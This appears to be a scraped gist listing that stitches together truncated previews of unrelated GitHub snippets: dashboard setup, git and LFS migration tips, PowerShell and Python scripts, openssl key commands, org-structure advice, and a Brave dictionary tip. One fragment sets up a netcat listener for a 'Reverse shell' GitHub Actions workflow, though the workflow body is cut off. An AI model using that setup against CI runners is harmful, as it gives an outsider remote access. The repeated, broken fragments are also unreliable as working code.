This guide provides step-by-step instructions for deploying the Copilot Metrics Dashboard in your environment.
English | Español |
To use this report, ensure you have Power BI Desktop installed or access to the Power BI online service.
This guide provides step-by-step instructions for deploying the Copilot Metrics Dashboard in your environment.
English | Español |
To use this report, ensure you have Power BI Desktop installed or access to the Power BI online service.
Sometimes history rewrites are required in order to migrate repositories into github.com. Several factors can dictate the need to rewrite history of a repository:
Although rewriting history might not be required for your repository to migrate to github.com, you may consider rewriting history for several reasons:
# given a bunch of folders which are years, and contents which are files of the form YYYY-mm-dd - name - $1234.56, | |
# this script returns a sum of totals by year | |
import os | |
totals = {} | |
for year in os.listdir('.'): | |
if os.path.isdir(year) and not year.startswith('.'): | |
total = 0 |
Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:
nc -nvlp 1337
Then run the following workflow in GH actions:
name: Reverse shell
param ( | |
[Parameter(Mandatory = $true)] $repoName, | |
[Parameter(Mandatory = $true)] $teamName, #allows multiple teams speatated by comma | |
[Parameter(Mandatory = $true)] $orgName, | |
$CodeOwnerTeam, #allows multiple teams speatated by comma, use this to define what team has the rights to change the codeowners file itself | |
$branch, #if not specified default branch is used | |
[switch]$overwrite, #automatically overwrite the existing CODEOWNERS FILE | |
[switch]$addperms, #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS | |
[switch]$enablebranchprotectioncodeowners #automatically add the required perm for the select team. WILL OVERWRITE CURRENT PERMISSIONS | |
) |
# Create a new repository on the command line | |
touch README.md | |
git init | |
git add README.md | |
git commit -m "first commit" | |
git remote add origin https://github.com/c0ldlimit/vimcolors.git | |
git push -u origin master | |
# Push an existing repository from the command line |
By default, windows and mac do not have a case sensitive filesystem. For this reason, I recommend using linux for lfs migration. Also, if the lfs migration seems to take a long time, this is often due to lots of disk I/O. To speed things up, use a cloud linux instance with max disk I/O.
The first step in migrating to LFS is finding what needs to be migrated. Use git-sizer for this task. Here is a utility script that can be used to run git-sizer on all repos in an org.
Another great tool for understanding blob sizes in a repo is git filter-repo
. See these instructions for gathering blob sizing with git filter-repo.
ca-key.key
and server-key.key
openssl genrsa -out ca.key 4096
openssl genrsa -out server.key 4096
ca.conf
ca config file
The intention of this document is to provide some guidance and suggestions to customers who are wondering how they should structure organizations and teams in their GitHub Enterprise environment. The idea isn't to give hard and fast rules on which approach is better than the other, but to give examples of when one approach might be preferable to another depending on the use case.
________________
| Org |
| ______ |
| | |\ |
| | Repo | \ |
If you have ever mistakenly added a word to the Brave browser dictionary,
you need to manually edit the Custom Dictionary.txt
file.
As of March 2020, the Brave UI lacks a feature to do this.
This will depend on your OS. Google for where this is on your OS.
The file on macOS is at: ~/Library/Application\ Support/BraveSoftware/Brave-Browser/Default/Custom\ Dictionary.txt
.